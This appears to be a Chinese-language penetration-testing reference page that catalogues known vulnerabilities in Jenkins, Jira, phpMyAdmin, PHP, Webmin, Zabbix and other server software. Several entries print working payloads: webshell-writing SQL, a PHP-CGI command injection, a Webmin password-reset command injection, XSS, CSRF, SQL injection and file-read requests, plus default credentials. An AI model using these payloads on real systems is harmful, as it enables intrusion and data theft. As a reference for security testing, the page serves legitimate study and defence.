- [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/)
- [Jenkins RCE漏洞分析汇总](http://www.lmxspace.com/2019/09/15/Jenkins-RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%B1%87%E6%80%BB/)

**资源**
- [gquere/pwn_jenkins: Notes about attacking Jenkins servers](https://github.com/gquere/pwn_jenkins)
- [petercunha/jenkins-rce](https://github.com/petercunha/jenkins-rce)

**工具**
- [blackye/Jenkins](https://github.com/blackye/Jenkins) - Jenkins漏洞探测、用户抓取爆破

**未授权访问漏洞**
- 简介

    默认情况下 Jenkins 面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。

- 文章
    - [知其一不知其二之Jenkins Hacking](https://www.secpulse.com/archives/2166.html)

- 利用

    `http://[ip]:8080/manage`

**CVE-2017-1000353 未授权远程代码执行漏洞**
- 简介

    Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的 Java SignedObject 对象传输给 Jenkins CLI 处理，反序列化 ObjectInputStream 作为 Command 对象，这将绕过基于黑名单的保护机制, 导致代码执行。

- 影响版本
    - jenkins < 2.56

- POC | Payload | exp
    - [vulhub/CVE-2017-1000353](https://github.com/vulhub/CVE-2017-1000353)

**CVE-2018-1000861 远程命令执行漏洞**
- 简介

    Jenkins 使用 Stapler 框架开发,其允许用户通过 URL PATH 来调用一次 public 方法.由于这个过程没有做限制,攻击者可以构造一些特殊的 PATH 来执行一些敏感的 Java 方法.

    通过这个漏洞,我们可以找到很多可供利用的利用链.其中最严重的就是绕过 Groovy 沙盒导致未授权用户可执行任意命令:Jenkins 在沙盒中执行 Groovy 前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过 Meta-Programming 的方式,在检查这个步骤时执行任意命令.

- 影响版本
    - jenkins < 2.153

- POC | Payload | exp
    - [orangetw/awesome-jenkins-rce-2019](https://github.com/orangetw/awesome-jenkins-rce-2019)

**CVE-2018-1999001 配置文件路径改动导致管理员权限开放漏洞**
- 简介

    Jenkins 官方在 7 月 18 号发布了安全公告，对 Jenkins 的两个高危漏洞进行通告，其中包括配置文件路径改动导致管理员权限开放的漏洞 CVE-2018-1999001，未授权用户通过发送一个精心构造的登陆凭据，能够致使匿名用户获取 Jenkins 的管理权限。

- 影响版本
    - jenkins < 2.121.1
    - jenkins 2.122 ~ 2.132

- 文章
    - [Jenkins配置文件路径改动导致管理员权限开放漏洞(CVE-2018-1999001) ](https://mp.weixin.qq.com/s/O_Ni4Xlsi4uHRcyv3SeY5g)

**CVE-2018-1999002 任意文件读取漏洞**
- 简介

    Jenkins 7 月 18 日的安全通告修复了多个漏洞，其中 SECURITY-914 是未授权任意文件读取漏洞。攻击者可以发送精心制作的 HTTP 请求，以返回 Jenkins 主文件中任何文件的内容，该漏洞存在于 Stapler Web 框架的 org/kohsuke/stapler/Stapler.java 中。

- 影响版本
    - jenkins < 2.121.1
    - jenkins 2.122 ~ 2.132

- 文章
    - [安全研究 | Jenkins 任意文件读取漏洞分析](https://bbs.ichunqiu.com/thread-43283-1-1.html)

**CVE-2019-1003000 未授权访问 RCE 漏洞**
- 简介

    脚本安全插件 1.49 和更早版本的 src/main/Java/org/jenkinsci/plugins/Script Security/sandbox/groovy/GroovysandBox.Java 中存在沙箱绕过漏洞，使得攻击者能够提供沙箱脚本在 Jenkins 主 JVM 上执行任意代码。

- 影响版本
    - jenkins < 1.49

- 文章
    - [Jenkins未授权访问RCE漏洞复现记录 | angelwhu_blog](https://www.angelwhu.com/blog/?p=539)
    - [Jenkins RCE CVE-2019-1003000 漏洞复现](https://blog.51cto.com/13770310/2352740)

- POC | Payload | exp
    - [adamyordan/cve-2019-1003000-jenkins-rce-poc: Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc)

**CVE-2019-10320 CloudBees Jenkins Credentials Plugin 信息泄露漏洞**
- 简介

    CloudBees Jenkins（Hudson Labs）是美国CloudBees公司的一套基于Java开发的持续集成工具。该产品主要用于监控持续的软件版本发布/测试项目和一些定时执行的任务。Credentials Plugin 是使用在其中的一个身份凭据存储插件。 Jenkins Credentials Plugin 2.1.18 及之前版本中存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。

- 影响版本
    - jenkins < 2.1.18

- 文章
    - [Exploring the File System via Jenkins Credentials Plugin Vulnerability - CVE-2019-10320 | Nightwatch Cybersecurity](https://wwws.nightwatchcybersecurity.com/2019/05/23/exploring-the-file-system-via-jenkins-credentials-plugin-vulnerability-cve-2019-10320/)

---

## Jira

> 官网 : https://www.atlassian.com/software/jira

JIRA 是 Atlassian 公司出品的项目与事务跟踪工具，被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。

jira 的漏洞参考 https://jira.atlassian.com/browse/JRASERVER-69858?filter=13085

**CVE-2019-3403 信息泄露(用户名枚举)**
- 简介

    Atlassian Jira 7.13.3 之前版本、8.0.4 之前版本和 8.1.1 之前版本中存在用户名枚举漏洞，攻击者可利用该漏洞枚举用户名称。

- 影响版本
    - Atlassian Jira < 7.13.3
    - Atlassian Jira 8.0.0 ~ 8.0.4
    - Atlassian Jira 8.1.0 ~ 8.1.1

- POC | Payload | exp
    - https://blog.csdn.net/caiqiiqi/article/details/100094987

**CVE-2019-8442 Jira 未授权敏感信息泄露**
- 简介

    Atlassian Jira 是澳大利亚 Atlassian 公司的一套缺陷跟踪管理系统. 该系统主要用于对工作中各类问题、缺陷进行跟踪管理. Atlassian Jira 7.13.4 之前版本、8.0.4 之前版本和 8.1.1 之前版本中的 CachingResourceDownloadRewriteRule 类存在安全漏洞. 远程攻击者可利用该漏洞访问 Jira webroot 中的文件.

- 影响版本
    - Atlassian Jira < 7.13.3
    - Atlassian Jira 8.0.0 ~ 8.0.4
    - Atlassian Jira 8.1.0 ~ 8.1.1

- POC | Payload | exp
    - https://note.youdao.com/ynoteshare1/index.html?id=4189e6fb21fb097a4109ac22f33b16cb&type=note
    - https://hackerone.com/reports/632808

    `/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml`

**CVE-2019-8444 存储型 XSS**
- 简介

    Atlassian Jira 7.13.6之前版本和8.3.2之前的8.x版本中的 wikirenderer 组件存在跨站脚本漏洞。该漏洞源于 WEB 应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

- 影响版本
    - Atlassian Jira 7.7 ~ 7.13.6
    - Atlassian Jira 8.0.0 ~ 8.3.2

- POC | Payload | exp
    ```
    POST /rest/api/2/issue/TEST-7/comment HTTP/1.1
    Content-Type: application/json

    {"body":"!image.png|width=\\\" οnmοuseοver=alert(333);//!"}
    ```

**CVE-2019-8446 信息泄露(用户名枚举)**
- 简介

    Atlassian Jira 8.3.2之前版本中的 /rest/issueNav/1/issueTable 资源存在授权问题漏洞。该漏洞源于网络系统或产品中缺少身份验证措施或身份验证强度不足。

- 影响版本
    - Atlassian Jira 7.6 ~ 8.3.2

- POC | Payload | exp
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0839

**CVE-2019-8451 Jira 未授权 SSRF 漏洞**
- 简介

    Atlassian Jira 8.4.0 之前版本中的 /plugins/servlet/gadgets/makeRequest 资源存在代码问题漏洞。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题。

- 影响版本

    - Atlassian Jira 7.6.0 ~ 8.4.0

- POC | Payload | exp
    - [jas502n/CVE-2019-8451](https://github.com/jas502n/CVE-2019-8451)

**CVE-2019-11581 Atlassian Jira 模板注入漏洞**
- 简介

    Atlassian Jira 多个版本前存在利用模板注入执行任意命令

- 影响版本
    - Atlassian Jira 4.4 ~ 7.6.14
    - Atlassian Jira 7.7.0 ~ 7.13.5
    - Atlassian Jira 8.0.0 ~ 8.0.3
    - Atlassian Jira 8.1.0 ~ 8.1.2
    - Atlassian Jira 8.2.0 ~ 8.2.3

- 文章
    - [Atlassian Jira 模板注入漏洞 (CVE-2019-11581) ](https://vulhub.org/#/environments/jira/CVE-2019-11581/)

---

## JumpServer

**JumpServer远程执行漏洞**
- 文章
    - [JumpServer远程执行漏洞 复现](https://www.o2oxy.cn/2921.html)
    - [JumpServer远程命令执行你可能不知道的点（附利用工具）](https://mp.weixin.qq.com/s/lbcYzNsiOYZRwQzAIYxg3g)

- POC | Payload | exp
    - [Skactor/jumpserver_rce](https://github.com/Skactor/jumpserver_rce)
    - [Veraxy00/Jumpserver-EXP](https://github.com/Veraxy00/Jumpserver-EXP)

## Jupyter

> 官网 : https://jupyter.org/

Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。

**未授权访问漏洞**
- 简介

    如果管理员未为 Jupyter Notebook 配置密码，将导致未授权访问漏洞，游客可在其中创建一个 console 并执行任意 Python 代码和命令。

- 示例

    `http://[ip]:8888`

---

## Nexus

> 官网 : https://www.sonatype.com/product-nexus-repository

**默认密码**
```
admin   admin123
```

**CVE-2019-7238 Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0**
- 简介

    Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发 Maven、NuGET 等软件源仓库.其 3.14.0 及之前版本中,存在一处基于 OrientDB 自定义函数的任意 JEXL 表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞.

- 影响版本
    - nexus < 3.15.0

- 文章
    - [一次偶遇Nexus](https://www.secpulse.com/archives/111818.html)
    - [Nexus Repository Manager 3 远程命令执行漏洞 (CVE-2019-7238) ](https://vulhub.org/#/environments/nexus/CVE-2019-7238/)

- POC | Payload | exp
    - [mpgn/CVE-2019-7238](https://github.com/mpgn/CVE-2019-7238)
    - [jas502n/CVE-2019-7238](https://github.com/jas502n/CVE-2019-7238)

**CVE-2020-10199/CVE-2020-10204**
- 文章
    - [Nexus Repository Manager(CVE-2020-10199/10204)漏洞分析及回显利用方法的简单讨论](https://www.cnblogs.com/magic-zero/p/12641068.html)

- POC | Payload | exp
    - [aleenzz/CVE-2020-10199](https://github.com/aleenzz/CVE-2020-10199)

---

## nodejs

**nodejs debug/inspect RCE**
- 文章
    - [浅析常见Debug调试器的安全隐患](https://security.tencent.com/index.php/blog/msg/137)

- POC | Payload | exp
    - [NodeJS Debugger - Command Injection (Metasploit)](https://www.exploit-db.com/exploits/42793)

---

## noVNC

> 官网 : https://novnc.com

**CVE-2017-18635 xss**
- 简介

    noVNC 是一款 HTML VNC（Virtual Network Computing）客户端库。 noVNC 0.6.2之前版本中存在跨站脚本漏洞。该漏洞源于 WEB 应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

- 影响版本
    - novnc < 0.6.2

- 文章
    - [Exploiting an old noVNC XSS (CVE-2017-18635) in OpenStack](https://www.shielder.it/blog/exploiting-an-old-novnc-xss-cve-2017-18635-in-openstack/)

- POC | Payload | exp
    - [ShielderSec/cve-2017-18635](https://github.com/ShielderSec/cve-2017-18635)

---

## phpMyAdmin

> 官网: https://www.phpmyadmin.net/

**搭建教程**
- [phpMyAdmin 搭建](../../../Integrated/Linux/Power-Linux.md#phpMyAdmin)

**文章**
- [phpMyadmin各版本漏洞](https://www.cnblogs.com/xishaonian/p/7627125.html) - 2/3 老版本的漏洞

**通过 phpmyadmin 来 getshell**
- 确认绝对路径

    利用 log 变量,猜绝对路径

    ![](../../../../assets/img/Security/RedTeam/Web安全/BS-Exploits/1.png)

    或者直接查询 `select @@basedir;`

    直接 SQL 写文件 `select '<?php phpinfo(); ?>' INTO OUTFILE 'C:/phpStudy/PHPTutorial/WWW/a.php';`

    如果 file_priv 为 null,那么是写不了的,可以尝试使用日志写马
    ```sql
    set global general_log='on';
    set global general_log_file='C:/phpStudy/PHPTutorial/WWW/a.php';
    select '<?php phpinfo(); ?>';
    set global general_log=off;
    ```
    参考 : [phpMyAdmin新姿势getshell](https://zhuanlan.zhihu.com/p/25957366)

**CVE-2016-5734 4.0.x—4.6.2 远程代码执行漏洞**
- 简介

    phpMyAdmin 中存在安全漏洞，该漏洞源于程序没有正确选择分隔符来避免使用 preg_replacee 修饰符。远程攻击者可借助特制的字符串利用该漏洞执行任意 PHP 代码。以下版本受到影响：phpMyAdmin4.0.10.16之前4.0.x版本，4.4.15.7之前4.4.x版本，4.6.3之前4.6.x版本。

- 影响版本
    - phpmyadmin 4.0.0 ~ 4.0.10.15
    - phpmyadmin 4.4.0 ~ 4.4.15.6
    - phpmyadmin 4.6.0 ~ 4.6.2

- POC | Payload | exp
    - [phpMyAdmin 4.6.2 - (Authenticated) Remote Code Execution](https://www.exploit-db.com/exploits/40185)

**LOAD DATA INFILE 任意文件读取漏洞**
- POC | Payload | exp
    [Gifts/Rogue-MySql-Server](https://github.com/Gifts/Rogue-MySql-Server)
    ```vim
    vim rogue_mysql_server.py

    PORT = 3307
    ```
    `python rogue_mysql_server.py`

    打开目标 phpMyAdmin 的登录页面,地址输入 db:3307、用户名、密码,提交登录.

    回到 db 的终端,如果文件读取成功会将文件内容记录到 mysql.log 文件中

**phpMyAdmin 4.7.x CSRF**
- 文章
    - [phpMyAdmin 4.7.x CSRF 漏洞利用](https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/)

**4.8.x 本地文件包含漏洞利用**
- 文章
    - [phpMyAdmin 4.8.x 本地文件包含漏洞利用 | Vulnspy Blog](http://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/) 可以通过这个线上靶场实验,不过 docker 镜像可能有点问题,mysql 进程起不起来,我的解决方式是直接卸了重装 mysql-server,而且他默认的 apt 源无法访问,还要换一下 apt 源

**phpmyadmin4.8.1 后台 getshell**
- 文章
    - [phpmyadmin4.8.1后台getshell](https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog)

**CVE-2019-12922 4.9.0.1 CSRF**
- 简介

    phpMyAdmin 4.9.0.1 版本中存在跨站请求伪造漏洞。该漏洞源于 WEB 应用未充分验证请求是否来自可信用户。攻击者可利用该漏洞通过受影响客户端向服务器发送非预期的请求。

- 影响版本
    - phpmyadmin 4.9.0.1

- POC | Payload | exp

    - `<img src=" http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1" style="display:none;" />`
    - https://www.hedysx.com/bug/2398.html

---

## PHP

**CVE-2012-1823 PHPCGI 远程代码执行漏洞**
- 简介

    5.3.12 之前和 5.4.2 之前的 5.4.x 中的 sapi/cgi/cgi_main.c 在配置为 CGI 脚本（aka php-cgi）时，不能正确处理缺少=（等号）字符的查询字符串 ，它允许远程攻击者通过在查询字符串中放置命令行选项来执行任意代码，这与在"d"情况下缺少跳过某些 php_getopt 有关。

- 影响版本

    - php < 5.3.12
    - php < 5.4.2

- 文章
    - [PHP-CGI远程代码执行漏洞 (CVE-2012-1823) 分析](https://paper.seebug.org/297/)

- POC | Payload | exp

    来源: https://vulhub.org/#/environments/php/CVE-2012-1823/

    `http://你的 IP 地址:端口号/index.php?-s` 即爆出源码

    发送如下数据包,可见 Body 中的代码已被执行:
    ```
    POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
    Host: example.com
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31

    <?php echo shell_exec("id"); ?>
    ```

- MSF Module
    ```
    use exploit/multi/http/php_cgi_arg_injection
    ```

**CVE-2018-19518 PHP imap 远程命令执行漏洞**
- 简介

    php imap 扩展用于在 PHP 中执行邮件收发操作.其 imap_open 函数会调用 rsh 来连接远程 shell,而 debian/ubuntu 中默认使用 ssh 来代替 rsh 的功能 (也就是说,在 debian 系列系统中,执行 rsh 命令实际执行的是 ssh 命令) .

    因为 ssh 命令中可以通过设置 -oProxyCommand= 来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞.

- 影响版本
    - php 5.6.0 ~ 5.6.38
    - php 7.0.0 ~ 7.0.32
    - php 7.1.0 ~ 7.1.24
    - php 7.2.0 ~ 7.2.12

- POC | Payload | exp
    - [PHP imap 远程命令执行漏洞 (CVE-2018-19518) ](https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md)

**LFI with phpinfo**
- 简介

    PHP 文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来 getshell.因为临时文件名是随机的,如果目标网站上存在 phpinfo,则可以通过 phpinfo 来获取临时文件名,进而进行包含.

- POC | Payload | exp
    - [PHP文件包含漏洞 (利用phpinfo) ](https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md)
    - [LFI with phpinfo](https://github.com/hxer/vulnapp/tree/master/lfi_phpinfo)

**PHP 环境 XML 外部实体注入漏洞 (XXE)**
- 简介

    libxml2.9.0 以后,默认不解析外部实体.

- POC | Payload | exp
    - [PHP环境 XML外部实体注入漏洞 (XXE) ](https://github.com/vulhub/vulhub/blob/master/php/php_xxe/README.md)

**XDebug 远程调试漏洞 (代码执行)**
- 简介

    XDebug 是 PHP 的一个扩展,用于调试 PHP 代码.如果目标开启了远程调试模式,并设置 `remote_connect_back = 1`:
    ```
    xdebug.remote_connect_back = 1
    xdebug.remote_enable = 1
    ```
    这个配置下,我们访问 http://target/index.php?XDEBUG_SESSION_START=phpstorm ,目标服务器的 XDebug 将会连接访问者的 IP (或 `X-Forwarded-For` 头指定的地址) 并通过 dbgp 协议与其通信,我们通过 dbgp 中提供的 eval 方法即可在目标服务器上执行任意 PHP 代码.

- 文章
    - [浅析常见Debug调试器的安全隐患](https://security.tencent.com/index.php/blog/msg/137)

- POC | Payload | exp
    - [XDebug 远程调试漏洞 (代码执行) ](https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/README.md)

---

### PHP-FPM

PHP-FPM 是一个 PHPFastCGI 管理器，对于 PHP 5.3.3 之前的 php 来说，是一个补丁包 ，旨在将 FastCGI 进程管理整合进 PHP 包中。

**PHP-FPM Fastcgi 未授权访问漏洞**
- 文章
    - [Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)

- POC | Payload | exp
    - https://vulhub.org/#/environments/fpm/
    - [phith0n/fpm.py](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

**CVE-2019-11043 PHP-FPM 远程代码执行漏洞**
- 简介

    在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞.

    在使用一些有错误的 Nginx 配置的情况下,通过恶意构造的数据包,即可让 PHP-FPM 执行任意代码.

- 影响版本
    - php 7.1.0 ~ 7.1.33
    - php 7.2.0 ~ 7.2.24
    - php 7.3.0 ~ 7.3.11

- POC | Payload | exp
    - [PHP-FPM 远程代码执行漏洞 (CVE-2019-11043) ](https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md)
    - [neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam)

---

## Smartbi

**常见口令**
- demo/demo
- manager/demo
- admin/admin
- admin/manager
- admin/2manager

**Tips**
- http://127.0.0.1:18080/smartbi/vision/config.jsp 可能未修改密码或者密码为 manager
- http://127.0.0.1:18080/smartbi/vision/chooser.jsp?key=CONFIG_FILE_DIR&root=C%3A%2F 进入后台目录遍历

---

## Supervisord

> 项目地址 : https://github.com/Supervisor/supervisor

**搭建教程**
- [Supervisord 搭建](../../../Integrated/Linux/Power-Linux.md#Supervisor)

**测试链接**
- `http://[ip]:9001`

**CVE-2017-11610 Supervisord 远程命令执行漏洞**
- 简介

    supervisor 中的 XML-RPC 服务器允许远程身份验证的用户通过精心编制的与嵌套 supervisord 命名空间查找相关的 XML-RPC 请求执行任意命令。

- 影响版本
    - supervisor < 3.0
    - supervisor 3.1.0 ~ 3.3.2

- 文章
    - [Supervisord远程命令执行漏洞 (CVE-2017-11610) ](https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html)
    - [Supervisord 远程命令执行漏洞 (CVE-2017-11610) ](https://vulhub.org/#/environments/supervisor/CVE-2017-11610/)

---

## TRS_WAS

**TRS（拓尔思）WCM任意文件上传漏洞**
- 简介

    file_upload.html 未做访问限制，攻击者可以匿名访问上传页面进行文件上传操作。

- 影响版本
    - WCM5.2
    - WCM6.1

- POC | Payload | exp
    ```
    xxx.com/file/file_upload.html、infogate/file/file_upload.html
    ```

**TRS（拓尔思）WAS 4.5 SQL注入漏洞**
- 简介

    rss.jsp 页面 "channelid" 参数未进行过滤

- 影响版本
    - WAS 4.5

- POC | Payload | exp
    ```
    /wcm/help/wcmhelp_list.jsp?trandom=0.3575719151171357&JspUrl=http://xxx/wcm/#/loginpage.jsp' and (select top 1 username+char(124)+password from wcmuser)>0--
    ```

**CNVD-2020-27769 拓尔思TRSWAS_5.0任意文件读取**
- 简介

    该漏洞成因为 web/tree 接口 treefile 参数存在文件读取漏洞，可读取数据库配置文件、账户密码等信息，导致配置文件信息泄露威胁网站安全。

- 影响版本
    - TRSWAS_5.0

- POC | Payload | exp
    ```
    http://xxx.com/was5/web/tree?treefile=/WEB-INF/classes/com/trs/was/resource/wasconfig.properties
    ```

---

## Webmin

> 官网 : http://www.webmin.com/

**搭建教程**
- [Webmin 搭建](../../../Integrated/Linux/Power-Linux.md#Webmin)

**CVE-2019-15107 Webmin Remote Code Execution**
- 简介

    在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令.

- 影响版本
    - Webmin < 1.920

- 文章
    - [Webmin(CVE-2019-15107) 远程代码执行漏洞之 backdoor 探究](https://zhuanlan.zhihu.com/p/79287037)

- POC | Payload | exp
    - [vulhub/webmin/CVE-2019-15107/README.zh-cn.md](https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md)
    ```
    POST /password_change.cgi HTTP/1.1
    Host: your-ip:10000
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Cookie: redirect=1; testing=1; sid=x; sessiontest=1
    Referer: https://your-ip:10000/session_login.cgi
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 60

    user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
    ```

**CVE-2019-15642 Webmin Remote Code Execution**
- 简介

    Webmin 到 1.920 中的 rpc.cgi 允许通过精心设计的对象名称进行经过身份验证的远程代码执行，因为 unserialise_variable 进行了 eval 调用。注意：Webmin_Servers_Index 文档指出“ RPC 可用于运行任何命令或修改服务器上的任何文件，这就是为什么不得将它的访问权限授予不可信的 Webmin 用户的原因。”

- 影响版本
    - Webmin < 1.920

- POC | Payload | exp
    - [jas502n/CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642)

---

## zabbix

> 官网 : https://www.zabbix.com

zabbix 是一款服务器监控软件,其由 server、agent、web 等模块组成,其中 web 模块由 PHP 编写,用来显示数据库中的结果.

**搭建教程**
- [zabbix 搭建](../../../Integrated/Linux/Power-Linux.md#zabbix)

**CVE-2016-10134 zabbix latest.php SQL 注入漏洞**
- 简介

    Zabbix 的 latest.php 中的 toggle_ids[] 或 jsrpc.php 中的 profieldx2 参数存在 sql 注入，通过 sql 注入获取管理员账户密码，进入后台，进行 getshell 操作。

- 影响版本
    - zabbix < 2.2.13
    - zabbix 3.0.0 ~ 3.0.3

- 文章
    - [zabbix latest.php SQL注入漏洞 (CVE-2016-10134) ](https://vulhub.org/#/environments/zabbix/CVE-2016-10134/)
    - [记一次zabbix安装及漏洞利用getshell全过程](https://xz.aliyun.com/t/6874)
    - [Zabbix sql注入漏洞复现（CVE-2016-10134）](https://mp.weixin.qq.com/s/Gi3NMbZcgMutE8mNqCmNAw)
